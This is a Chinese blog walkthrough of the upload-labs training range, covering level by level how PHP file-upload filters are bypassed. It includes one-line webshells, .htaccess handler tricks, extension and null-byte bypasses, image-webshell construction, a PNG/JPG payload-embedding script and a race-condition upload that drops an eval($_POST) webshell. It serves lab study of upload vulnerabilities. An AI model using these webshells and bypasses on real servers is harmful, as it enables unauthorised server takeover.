赞
踩
在github上找upload-labs-0.1环境,部署在小皮面板上
也可以直接下载他的集成的环境
文件上传漏洞就是利用我们上传的后门文件可以服务器进行解析
首先我们要写一个一句话木马文件,上传到服务器
以下是我写的一句话木马
我们直接上传试一下,有一个弹窗,可见我们的上传是被js拦住了
js拦截代码
那么我们怎么才能绕过呢?
方法一:利用浏览器的机制可以禁用js
方法二:删除浏览器事件
我这就直接禁用js为例
这次我们就上传成功了,upload目录下也有我们的一句话木马
可以进行测试,查看一句话木马的效果,我们的一句话木马是get传参形式的,
eval函数在动态传参时,php的底层认为eval不是函数,所以我们用不了
但是assert函数在php底层却是以函数执行的,那么第一个参数我们就用assert
http://127.0.0.1/upload-labs/upload/web.php?0=assert&1=phpinfo()
可以看到是实现成功的
第二关,我们直接上传一个php文件试试,看会给我们提示什么
说是我们的文件类型不对,我们用BurpSuite抓包看一下
我们可以看到我们的文件类型是application/octet-stream(二进制数据类型)
补充:
既然它提示我们的是上传的数据类型不对,那么后端大概率检测的是我们上传文件的文件类型,那么我们在抓包这块将文件类型改为img的文件类型,
类型:image/jpeg
试一下我们的结果是否可行,很明显,我们上传成功,
执行一下我们的一句话(同第一关)
ok,下一关
直接上床我们的php文件,看一下会提示什么?
不允许上传.asp,.aspx,.php,.jsp后缀文件!
很明显这块大概率过滤的是我们的后缀,我很查看下源码,可以看到要是这几个后缀匹配到就不执行上传
那么我们要进行绕过,并且要让服务器能解析我们上传的文件,
在apache中的配置文件中,我们可以看到他会将 .php .php3 .phtml 这几个后缀当做php文件进行解析
那么我们上传.php3文件,刚过可以绕过黑名单,并且文件可以被解析
只说不做是徒劳,我们试验一下
上传成功,并且可以进行解析
ok,继续下一关
啥也不说,继续试一下php文件上传
不让我们上传,要是猜的他的黑名单的话,会格外的费劲
直接上源码
- if (isset($_POST['submit'])) {
- if (file_exists(UPLOAD_PATH)) {
- $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
- $file_name = trim($_FILES['upload_file']['name']);
- $file_name = deldot($file_name);//删除文件名末尾的点
- $file_ext = strrchr($file_name, '.');
- $file_ext = strtolower($file_ext); //转换为小写
- $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
- $file_ext = trim($file_ext); //收尾去空
-
- if (!in_array($file_ext, $deny_ext)) {
- $temp_file = $_FILES['upload_file']['tmp_name'];
- $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
- if (move_uploaded_file($temp_file, $img_path)) {
- $is_upload = true;
- } else {
- $msg = '上传出错!';
- }
- } else {
- $msg = '此文件不允许上传!';
可以看到,这关的黑名单过滤的是相当的多,基本将我们的后缀都过滤掉了
这时候该怎么进行绕过呢
.htaccess参数
常见配法有以下几种:
- AddHandler php5-script .jpg
-
- AddType application/x-httpd-php .jpg
-
- Sethandler application/x-httpd-php
Sethandler
将该目录及子目录的所有文件均映射为php文件类型。Addhandler
使用 php5-script 处理器来解析所匹配到的文件。AddType
将特定扩展名文件映射为php文件类型。
简单来说就是,可以将我们所的文件都解析成php或者是特定的文件解析为php
那么我们创建一个.htaccess文件写上内容进行上传
Sethandler application/x-httpd-php
这是将本目录及所有子目录的所有文件都解析为php文件
很明显直接上传成功,那么我们再将我们的一句话木马上传,当然在这我们将文件后缀改为jpg格式,反正我们上传后的文件都会被解析为php,而且jpg也不会被过滤掉
上传后直接进行访问,看我们的一句话能否配解析
ok,完美
在这块我们试一下使用蚁剑进行连接,毕竟我们的后门已经上传成功,连接服务器的最后一步肯定是必须的
因为我们写的一句话木马是双get传参,但是蚁剑默认post传参,密码是post参数,
那我们可不可以将第二个参数直接传成post呢,试一下,但很可惜我们的没有连接上
按道理来说应该是可以的,为什么不行呢?
其实是因为蚁剑在连接时,他会查询我们服务器的信息,那么这些代码就要有个执行函数才能执行,那么我们就要在post前加上eval()函数,以让我们的代码能够以命令执行
http://172.16.30.134/upload/web.jpg?0=assert&1=eval($_POST['long'])
啥也不说,直接上传php文件,看提示
显示我们的文件类型不允许
这关肯定没这么简单,因为前面的第二关就是改了文件类型
我们直接查看源码,看看怎么个事
- $is_upload = false;
- $msg = null;
- if (isset($_POST['submit'])) {
- if (file_exists(UPLOAD_PATH)) {
- $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
- $file_name = trim($_FILES['upload_file']['name']);
- $file_name = deldot($file_name);//删除文件名末尾的点
- $file_ext = strrchr($file_name, '.');
- $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
- $file_ext = trim($file_ext); //首尾去空
-
- if (!in_array($file_ext, $deny_ext)) {
- $temp_file = $_FILES['upload_file']['tmp_name'];
- $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
- if (move_uploaded_file($temp_file, $img_path)) {
- $is_upload = true;
- } else {
- $msg = '上传出错!';
- }
- } else {
- $msg = '此文件类型不允许上传!';
- }
- } else {
- $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
- }
- }
很明显,他是黑名单过滤我们的后缀,同时将我们上一关的.htaccess文件也过滤掉了
那么这时候怎么办呢,我们看到他的过滤数组里有小写、大小写混写,但没有纯大写,在下面也没看到转小写,而且我们的php文件名是不区分大小写的,ok,思路有了,直接开整
很明显,成功上传,验证是否可行
没得问题,直接下一关
直接使用上一关的文件继续上传可以看到,被拦截
猜的话,说实话还是很难猜的,直接上源码
相比上一关,我们可以看到在过滤这块有一点点的不一样,具体是哪呢?
其实相较于上一关,这一关他没有写trim()函数对文件名进行去除空格处理
那么去没去处空格有什么不一样呢,在windows环境下,系统会自动去除我们文件名后面的点和空格,但是在linux下并不会,linux环境下会保留我们文件名的特殊字符
我的环境是搭建在windows上的,整好可以利用这点,我们抓包对其文件名后面加一个空格,正好就可以绕过他的过滤数,然后windows会自动帮我们去除空格,
ok,思路已有,直接开整
可以看到在文件明后加上空格后成功进行绕过,我们是试试,是否可以访问我们的后门
ok,没得问题,下一关走起
直接上源码:
可以看到这一关他确实把去除空格加上了,但是你仔细看,仔细仔细看,他是不是没有去除文件名末尾的点 deldot()这个函数了,上面我也说过,windows环境时会自动去除文件末尾的点和空格的
ok,和上一关思路一样,开干
很明显,上传成功,ok,实践访问
直接下一关,继续闯!
废话不说,源码分析:
发现没发现没,这关的过滤相较于上一关又少了一个过滤(::$DATA)的字符串
解释:在windows环境下,不光会自动去除文件末尾的点和空格,同时(::$DATA)这个字符串,windows也会认为是非法字符,默认去除掉
ok,其实6、7、8关是为了出题而为我们设计的,那么和上一关一样直接闯!
莫得问题,直接访问
源码:
可以看到,结合上面几个的过滤,转小写、空格、点、.htaccess都给我们防住了
那这时候该怎么办呢?
代码是死的,人是活的。他每过一句代码,执行一次,那我们就在文件末尾多加几个空格点之类了,反正他也就每执行一次取出一个。
ok,那我们直接末尾加点空格点,开整
很明显,上传成功,看解析
看源码:
这一关明显不一样了,让我们来看看哪有洞
他在str_ireplace()函数这将我们的危险后缀都替换为空了,这该咋办。
还是那句话,代码死的,人是活的。他也就执行一次,那我们进行双写试试
和我们想的一样,确实是将一个php去掉后,然后拼接了一个新的php
访问解析看看
ok,下一关
源码源码:
这一关用到了低版本的00截断漏洞
当 PHP 在处理文件名或路径时,如果遇到 URL 编码的 %00,它会被解释为一个空字节(ASCII 值为 0)。在php5.3以前,PHP 会将这个空字节转换为 \000
的形式。
而恰恰在php5.3以前,文件名出现\0000,会导致文件名被截断,只保留%00之前的部分。这样的情况可能会导致文件被保存到一个意外的位置,从而产生安全风险
这是因为php语言的底层是c语言,而\0在c语言中是字符串的结束符,所以导致00截断的发生
解释完后,我们就要开始想办法怎么理由这个00截断来进行绕过,
我们可以看到img_path是通过get传参传递的,那么我们不妨在这块将路径改掉,改为upload/web.php%00,那么后面不管是什么东西都会被截断掉,然后经过move_uploaded_file函数将临时文件重新复制给我们的截断之前的文件路径,当然,我们还是要上传jpg文件的,使得我们可以进行下面程序的运行
ok,分析完成,直接开干
很明显我很上传上去了,不确定去upload文件下看看
ok,继续下一关
看源码:
我们可以看到和上一关的不同是上一关是get传参,而这一关是post传参
那么在这关受罚就要有点小小的不同了
因为上一关%00是经过url的编码,而post不会,所以在这一关我们就需要现在web.php后面加一个占位符,将其16进制改为00,这样孔子杰就出现了,最后在移动文件的时候就会触发\00截断
说也说了,我们直接试试,还是抓包进行修改
可以看到上传成功
这一关要让我们使用图片码来进行上传解析
那什么是图片吗呢?图片码就是在一张图片中写上我们的一句话,然后利用php的文件包含特性,可以将我们的图片以php进行解析
看源码:
- function getReailFileType($filename){
- $file = fopen($filename, "rb");
- $bin = fread($file, 2); //只读2字节
- fclose($file);
- $strInfo = @unpack("C2chars", $bin);
- $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
- $fileType = '';
- switch($typeCode){
- case 255216:
- $fileType = 'jpg';
- break;
- case 13780:
- $fileType = 'png';
- break;
- case 7173:
- $fileType = 'gif';
- break;
- default:
- $fileType = 'unknown';
- }
- return $fileType;
- }
-
- $is_upload = false;
- $msg = null;
- if(isset($_POST['submit'])){
- $temp_file = $_FILES['upload_file']['tmp_name'];
- $file_type = getReailFileType($temp_file);
-
- if($file_type == 'unknown'){
- $msg = "文件未知,上传失败!";
- }else{
- $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
- if(move_uploaded_file($temp_file,$img_path)){
- $is_upload = true;
- } else {
- $msg = "上传出错!";
- }
- }
- }
在getReailFileType()函数中,对图片的头部进行了判断,图片的头部对定义特定的图片类型,所以我们在制作图片码的时候不能再头部进行改动,
图片马的制作:首先找一张jpg图片和一句话木马,打开cmd,输入以下代码
- >copy web.jpg/b + web.php/a web1.jpg
- -----------------------------------------
- web.jpg
- web.php
- 已复制 1 个文件。
然后我们进行上传
上传成功,我们使用靶机给我们的文件包含漏洞进行解析
这个文件包含的特性是会将我们所有包含进来的文件都以php进行解析
源码:
这一关同理,将获取文件类型进行判断,直接上传上一关 的图马记性
知识补充: exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
返回值与getimage()函数返回的索引2相同,但是速度比getimage快得多。需要开启php_exif
模块。
所以还是可以用第十四关
的图片马绕过,并使用文件包含漏洞解析图片马
源码:
- $is_upload = false;
- $msg = null;
- if (isset($_POST['submit'])){
- // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
- $filename = $_FILES['upload_file']['name'];
- $filetype = $_FILES['upload_file']['type'];
- $tmpname = $_FILES['upload_file']['tmp_name'];
-
- $target_path=UPLOAD_PATH.'/'.basename($filename);
-
- // 获得上传文件的扩展名
- $fileext= substr(strrchr($filename,"."),1);
-
- //判断文件后缀与类型,合法才进行上传操作
- if(($fileext == "jpg") && ($filetype=="image/jpeg")){
- if(move_uploaded_file($tmpname,$target_path)){
- //使用上传的图片生成新的图片
- $im = imagecreatefromjpeg($target_path);
-
- if($im == false){
- $msg = "该文件不是jpg格式的图片!";
- @unlink($target_path);
- }else{
- //给新图片指定文件名
- srand(time());
- $newfilename = strval(rand()).".jpg";
- //显示二次渲染后的图片(使用用户上传图片生成的新图片)
- $img_path = UPLOAD_PATH.'/'.$newfilename;
- imagejpeg($im,$img_path);
- @unlink($target_path);
- $is_upload = true;
- }
- } else {
- $msg = "上传出错!";
- }
-
- }else if(($fileext == "png") && ($filetype=="image/png")){
- if(move_uploaded_file($tmpname,$target_path)){
- //使用上传的图片生成新的图片
- $im = imagecreatefrompng($target_path);
-
- if($im == false){
- $msg = "该文件不是png格式的图片!";
- @unlink($target_path);
- }else{
- //给新图片指定文件名
- srand(time());
- $newfilename = strval(rand()).".png";
- //显示二次渲染后的图片(使用用户上传图片生成的新图片)
- $img_path = UPLOAD_PATH.'/'.$newfilename;
- imagepng($im,$img_path);
-
- @unlink($target_path);
- $is_upload = true;
- }
- } else {
- $msg = "上传出错!";
- }
-
- }else if(($fileext == "gif") && ($filetype=="image/gif")){
- if(move_uploaded_file($tmpname,$target_path)){
- //使用上传的图片生成新的图片
- $im = imagecreatefromgif($target_path);
- if($im == false){
- $msg = "该文件不是gif格式的图片!";
- @unlink($target_path);
- }else{
- //给新图片指定文件名
- srand(time());
- $newfilename = strval(rand()).".gif";
- //显示二次渲染后的图片(使用用户上传图片生成的新图片)
- $img_path = UPLOAD_PATH.'/'.$newfilename;
- imagegif($im,$img_path);
-
- @unlink($target_path);
- $is_upload = true;
- }
- } else {
- $msg = "上传出错!";
- }
- }else{
- $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
- }
- }
这一关就没有前面几关简单了,他是会使用imagecreatefromjpeg()函数将我们的图片打散进行二次渲染,这就会导致我们的一句话木马消失,所以我们就要想办法在他没有打散的对方将我们的一句话写进去
首先,我们先制作一个gif的图片马
- copy web.gif /b + web.php /a web1.gif
- --------------------------------------------
- web.gif
- web.php
- 已复制 1 个文件。
然后我们进行上传,然后下载下来查看我们的图片马的一句话还在不在,并且和原图马进行比较,看看哪块没有打散,那么在没打散的地方写入一句话
在010软件进行比对,可以看到我们打散后的图片的一句话消失了
那么我们在math中可以发现还是有很多地方没有改变的,那我们就在这块进行写入一句话
我们继续上传,然后下载下来,查看一句话还在不在
那么我们试着对其进行解析,同样还是文件包含
ok,成功解析
相对于gif格式的图片,png的二次渲染的绕过并不能像gif那样简单.
因为png分了好几个数据块组成,如果用上面的方法就成功不了,那么我们就要相悖的办法了
这里我就直接借鉴了另外一篇文章的代码,直接使用代码生成一个拥有一句话木马的图片
- <?php
- $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
- 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
- 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
- 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
- 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
- 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
- 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
- 0x66, 0x44, 0x50, 0x33);
-
-
-
- $img = imagecreatetruecolor(32, 32);
-
- for ($y = 0; $y < sizeof($p); $y += 3) {
- $r = $p[$y];
- $g = $p[$y+1];
- $b = $p[$y+2];
- $color = imagecolorallocate($img, $r, $g, $b);
- imagesetpixel($img, round($y / 3), 0, $color);
- }
-
- imagepng($img,'./1.png');
- ?>
直接运行生成一个图片马,打开可以看到是有我们的一句话木马的
那么开始上传吧,然后下载下来查看一句话是否还在
很幸运还在
那么开始访问吧,因为有post,所以用火狐访问
好了,接下来开始拱破jpg吧
jpg的格式更复杂,具体就不说了,相比于png更难实现,需要多试几次才有几率成功过
在这里我还是借鉴了大牛的代码来进行实现
- <?php
- /*
- The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
- It is necessary that the size and quality of the initial image are the same as those of the processed image.
- 1) Upload an arbitrary image via secured files upload script
- 2) Save the processed image and launch:
- jpg_payload.php <jpg_name.jpg>
- In case of successful injection you will get a specially crafted image, which should be uploaded again.
- Since the most straightforward injection method is used, the following problems can occur:
- 1) After the second processing the injected data may become partially corrupted.
- 2) The jpg_payload.php script outputs "Something's wrong".
- If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
- Sergey Bobrov @Black2Fan.
- See also:
- https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
- */
-
- $miniPayload = "<?=phpinfo();?>";
-
-
- if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
- die('php-gd is not installed');
- }
-
- if(!isset($argv[1])) {
- die('php jpg_payload.php <jpg_name.jpg>');
- }
-
- set_error_handler("custom_error_handler");
-
- for($pad = 0; $pad < 1024; $pad++) {
- $nullbytePayloadSize = $pad;
- $dis = new DataInputStream($argv[1]);
- $outStream = file_get_contents($argv[1]);
- $extraBytes = 0;
- $correctImage = TRUE;
-
- if($dis->readShort() != 0xFFD8) {
- die('Incorrect SOI marker');
- }
-
- while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
- $marker = $dis->readByte();
- $size = $dis->readShort() - 2;
- $dis->skip($size);
- if($marker === 0xDA) {
- $startPos = $dis->seek();
- $outStreamTmp =
- substr($outStream, 0, $startPos) .
- $miniPayload .
- str_repeat("\0",$nullbytePayloadSize) .
- substr($outStream, $startPos);
- checkImage('_'.$argv[1], $outStreamTmp, TRUE);
- if($extraBytes !== 0) {
- while((!$dis->eof())) {
- if($dis->readByte() === 0xFF) {
- if($dis->readByte !== 0x00) {
- break;
- }
- }
- }
- $stopPos = $dis->seek() - 2;
- $imageStreamSize = $stopPos - $startPos;
- $outStream =
- substr($outStream, 0, $startPos) .
- $miniPayload .
- substr(
- str_repeat("\0",$nullbytePayloadSize).
- substr($outStream, $startPos, $imageStreamSize),
- 0,
- $nullbytePayloadSize+$imageStreamSize-$extraBytes) .
- substr($outStream, $stopPos);
- } elseif($correctImage) {
- $outStream = $outStreamTmp;
- } else {
- break;
- }
- if(checkImage('payload_'.$argv[1], $outStream)) {
- die('Success!');
- } else {
- break;
- }
- }
- }
- }
- unlink('payload_'.$argv[1]);
- die('Something\'s wrong');
-
- function checkImage($filename, $data, $unlink = FALSE) {
- global $correctImage;
- file_put_contents($filename, $data);
- $correctImage = TRUE;
- imagecreatefromjpeg($filename);
- if($unlink)
- unlink($filename);
- return $correctImage;
- }
-
- function custom_error_handler($errno, $errstr, $errfile, $errline) {
- global $extraBytes, $correctImage;
- $correctImage = FALSE;
- if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
- if(isset($m[1])) {
- $extraBytes = (int)$m[1];
- }
- }
- }
-
- class DataInputStream {
- private $binData;
- private $order;
- private $size;
-
- public function __construct($filename, $order = false, $fromString = false) {
- $this->binData = '';
- $this->order = $order;
- if(!$fromString) {
- if(!file_exists($filename) || !is_file($filename))
- die('File not exists ['.$filename.']');
- $this->binData = file_get_contents($filename);
- } else {
- $this->binData = $filename;
- }
- $this->size = strlen($this->binData);
- }
-
- public function seek() {
- return ($this->size - strlen($this->binData));
- }
-
- public function skip($skip) {
- $this->binData = substr($this->binData, $skip);
- }
-
- public function readByte() {
- if($this->eof()) {
- die('End Of File');
- }
- $byte = substr($this->binData, 0, 1);
- $this->binData = substr($this->binData, 1);
- return ord($byte);
- }
-
- public function readShort() {
- if(strlen($this->binData) < 2) {
- die('End Of File');
- }
- $short = substr($this->binData, 0, 2);
- $this->binData = substr($this->binData, 2);
- if($this->order) {
- $short = (ord($short[1]) << 8) + ord($short[0]);
- } else {
- $short = (ord($short[0]) << 8) + ord($short[1]);
- }
- return $short;
- }
-
- public function eof() {
- return !$this->binData||(strlen($this->binData) === 0);
- }
- }
- ?>
jpg格式的就和上面的不同了,首先先随便上传一个jpg图片,然后下载下来
然后在cmd下使用这条命令,将上传的图片和我们上面的代码文件放在一块生成新的jpg文件
php text.php 12425.jpg
打开看一下有没有一句话
然后我们进行上传,再下载下来岔开一句话是否还在,在的话直接运行即可,如果不行就多试重几次jpg图片
需要注意的是,有一些jpg图片不能被处理,所以要多尝试一些jpg图片.
源码:
- $is_upload = false;
- $msg = null;
-
- if(isset($_POST['submit'])){
- $ext_arr = array('jpg','png','gif'); // 允许上传的文件扩展名数组
- $file_name = $_FILES['upload_file']['name']; // 获取上传文件的文件名
- $temp_file = $_FILES['upload_file']['tmp_name']; // 获取上传文件的临时文件路径
- $file_ext = substr($file_name,strrpos($file_name,".")+1); // 获取上传文件的扩展名
- $upload_file = UPLOAD_PATH . '/' . $file_name; // 上传文件的目标路径
-
- // 尝试移动上传文件到指定路径
- if(move_uploaded_file($temp_file, $upload_file)){
- // 如果文件成功移动到目标路径
- if(in_array($file_ext,$ext_arr)){
- // 如果上传的文件扩展名在允许的范围内
- $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; // 生成新的文件名
- rename($upload_file, $img_path); // 重命名上传的文件为新的文件名
- $is_upload = true; // 设置上传标志为true
- }else{
- // 如果上传的文件扩展名不在允许的范围内
- $msg = "只允许上传.jpg|.png|.gif类型文件!"; // 设置错误消息
- unlink($upload_file); // 删除上传的文件
- }
- }else{
- // 如果移动上传文件失败
- $msg = '上传出错!'; // 设置错误消息
- }
- }
分析以上代码,可以看到他的逻辑是先对文件进行了上传操作,然后在判断文件的扩展名在不在白名单中,如若在,进行重命名。不在则对其进行删除。
也就是说如果我们上传php文件,他会删除我们上传的木马。
这么看来如果我们还是上传一个图片马的话,网站依旧存在文件包含漏洞我们还是可以进行利用。但是如果没有文件包含漏洞的话,我们就只能上传一个php木马来解析运行了。
假设这一题 没有文件包含漏洞的话,那我们只要上传php木马就会被删除,那还怎么搞。
不慌,要知道代码在执行的时候也是需要时间的,尽管这个时间特别短,只要我们能利用住,最会成功的。如果我们能在上传的一句话被删除之前访问不就成了。这个也就叫做条件竞争上传绕过。
我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell
,会有一瞬间的访问成功。
我们可以将一句话写成下面这句:
<?php file_put_contents('../webshell.php', '<?php eval($_POST["cmd"]); ?>'); ?>
把这个php文件通过burp一直不停的重放,然后我们在开一个burp一直访问我们的这个php文件,总会有那么一瞬间是还没来得及删除就可以被访问到的,一旦访问到该文件就会在上层目录下生成一个webshell.php
的一句话文件,这样生成的文件是不会被我们的程序删除掉的
首先,先上传我们的php文件,用burp进行拦截,然后放到重放模块下,进行多次上传
重发请求数值大一些,在起一个bp程序,抓取我们访问上传的php文件,也放到bp的重发包上面
这样就一边上传,一边请求了,只要有一次访问得到,那么就会在上一级目录下创建写好的一句话木马
由此可见,经过条件竞争,是有机会访问到的
试着用蚁剑进行连接,可以连接
ok,下一关
我们看看源码:
- //index.php
- $is_upload = false;
- $msg = null;
- if (isset($_POST['submit']))
- {
- require_once("./myupload.php");
- $imgFileName =time();
- $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
- $status_code = $u->upload(UPLOAD_PATH);
- switch ($status_code) {
- case 1:
- $is_upload = true;
- $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
- break;
- case 2:
- $msg = '文件已经被上传,但没有重命名。';
- break;
- case -1:
- $msg = '这个文件不能上传到服务器的临时文件存储目录。';
- break;
- case -2:
- $msg = '上传失败,上传目录不可写。';
- break;
- case -3:
- $msg = '上传失败,无法上传该类型文件。';
- break;
- case -4:
- $msg = '上传失败,上传的文件过大。';
- break;
- case -5:
- $msg = '上传失败,服务器已经存在相同名称文件。';
- break;
- case -6:
- $msg = '文件无法上传,文件不能复制到目标目录。';
- break;
- default:
- $msg = '未知错误!';
- break;
- }
- }
-
- //myupload.php
- class MyUpload{
- ......
- ......
- ......
- var $cls_arr_ext_accepted = array(
- ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
- ".html", ".xml", ".tiff", ".jpeg", ".png" );
-
- ......
- ......
- ......
- /** upload()
- **
- ** Method to upload the file.
- ** This is the only method to call outside the class.
- ** @para String name of directory we upload to
- ** @returns void
- **/
- function upload( $dir ){
-
- $ret = $this->isUploadedFile();
-
- if( $ret != 1 ){
- return $this->resultUpload( $ret );
- }
-
- $ret = $this->setDir( $dir );
- if( $ret != 1 ){
- return $this->resultUpload( $ret );
- }
-
- $ret = $this->checkExtension();
- if( $ret != 1 ){
- return $this->resultUpload( $ret );
- }
-
- $ret = $this->checkSize();
- if( $ret != 1 ){
- return $this->resultUpload( $ret );
- }
-
- // if flag to check if the file exists is set to 1
-
- if( $this->cls_file_exists == 1 ){
-
- $ret = $this->checkFileExists();
- if( $ret != 1 ){
- return $this->resultUpload( $ret );
- }
- }
-
- // if we are here, we are ready to move the file to destination
-
- $ret = $this->move();
- if( $ret != 1 ){
- return $this->resultUpload( $ret );
- }
-
- // check if we need to rename the file
-
- if( $this->cls_rename_file == 1 ){
- $ret = $this->renameFile();
- if( $ret != 1 ){
- return $this->resultUpload( $ret );
- }
- }
-
- // if we are here, everything worked as planned :)
-
- return $this->resultUpload( "SUCCESS" );
-
- }
- ......
- ......
- ......
- };
这道题用了白名单过滤文件名后缀,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。
这里有一个细节,由于可能是这个靶场的作者的某种原因可能有误,上传的图片路径不是放在upload文件夹下
,所以我们要进去修改一下第19关的代码文件
要改成如下图的样子并保存重启靶场
这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等。
(这里我不理解,既然要用文件包含,并且文件上传上去后,就算图片重命名了,但图片还是显示出来了,显示出来不就知道了文件路径,直接用文件包含不就直接解析了一句话木马,对吧。所以唯一能解释的原因就是,要是上传后图片不显示出来的时候,那我们在他重命名之前竞争到我们的木马,重新生成一个新的一句话木马文件就合理了。既然这题的用意就是条件竞争,那我们就用条件竞争做吧)
用我们上关的php文件生成一个图片马
然后和上一关一样,上传图片马用bp拦截住(基本上在BP上的操作跟上面第18关
没区别)
使用文件包含进行访问,因为上传后会进行重命名,所以我们就竞争上传后改名前的这一段时间进行操作,bp抓包多重复访问
很明显,请求成功
那么,直接连接蚁剑,嘿嘿
完美成功
先看源码
- $is_upload = false;
- $msg = null;
- if (isset($_POST['submit'])) {
- if (file_exists(UPLOAD_PATH)) {
- $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
-
- $file_name = $_POST['save_name'];
- $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
-
- if(!in_array($file_ext,$deny_ext)) {
- $temp_file = $_FILES['upload_file']['tmp_name'];
- $img_path = UPLOAD_PATH . '/' .$file_name;
- if (move_uploaded_file($temp_file, $img_path)) {
- $is_upload = true;
- }else{
- $msg = '上传出错!';
- }
- }else{
- $msg = '禁止保存为该类型文件!';
- }
-
- } else {
- $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
- }
- }
分析源代码可以看到,并没有对我们上传文件进行判断,只对我们用户输入的文件名做了判断
并且也只是和黑名单进行了判断,并没有进行任何后缀过滤措施
那么很简单,利用windows的特性,windows会自动过去掉后缀的点(.)空格和::DATA这些特殊字符,在用户属于的地方以php.结尾,那么就会跳出黑名单
开整:
然后我们直接蚁剑连接
函数解释:
explode(a,b)函数以a为分割,把b转为数组。
reset()函数把数组内部指针移动到数组第一个元素,并返回值。
end() 把数组内部指针移动到数组最后一个元素,并返回值。
count()函数数组元素的数量。
漏洞来源:count()函数漏洞。
通过$file_name = reset($file) . '.' . $file[count($file) - 1];可以知道最终的文件名是由数组的第一个和最后一个元素拼接而成。如果是正常思维来讲,无论如何都是没有办法绕过的,但是有个地方给了一个提示。
这里有个判断,如果不是数组,就自己拆成数组,也就是说,我们是可以自己传数组进入的。
原理:
现自定义一个数组 arr[],定义arr[0]=1,arr[3]=2, 此时count(arr)的值为2,则arr[count[arr]]即为arr[2],但是arr[2]未定义,即为一个空值,若使用count()函数的本意是指向arr数组的最后一个元素,此时却指向arr[2],形成数组漏洞。
1、首先上传 test.php 文件,利用 Burpsuite 进行抓包,发现save_name是利用_POST形式上传的,利用count()函数漏洞手动将 save_name改为数组形式,绕过白名单,并且合法化$image_path路径。
2、放包通过,使用蚁剑进行连接
漏洞成因: 具备上传文件功能的Web等应用,未对用户选择上传的文件进行校验,使得非法用户可通过上传可执行脚本而获取应用的控制权限。
防护与绕过: 通过upload-labs靶场实战,了解更多的防护与绕过手段。
不同系统有不同的需求,根据系统需求制定特定的防御手段。
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。